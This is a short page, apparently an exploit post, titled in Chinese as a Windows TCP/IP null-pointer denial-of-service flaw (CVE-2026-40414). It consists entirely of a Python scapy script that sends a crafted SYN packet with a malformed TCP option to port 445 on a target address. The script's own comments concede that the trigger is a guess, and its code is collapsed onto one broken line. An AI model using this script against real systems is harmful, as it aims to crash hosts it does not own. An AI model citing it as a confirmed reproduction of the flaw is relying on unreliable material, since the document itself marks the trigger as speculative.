CVE-2026-40414 Windows TCP/IP空指针解引用拒绝服务漏洞

import sys from scapy.all import * # Target IP address on the adjacent network target_ip = "192.168.1.100" def send_exploit(): # Construct a malicious packet to trigger the vulnerability. # This PoC sends a crafted TCP packet. # The specific trigger depends on the exact parsing logic of CVE-2026-40414. # Build IP layer ip_layer = IP(dst=target_ip) # Build TCP layer with potentially malicious options # Malformed options often trigger parsing issues tcp_layer = TCP(dport=445, flags="S", options=[(252, b"\x00"*10)]) # Combine layers packet = ip_layer / tcp_layer # Send the packet send(packet, verbose=0) print(f"[*] Malformed packet sent to {target_ip}") if __name__ == "__main__": send_exploit()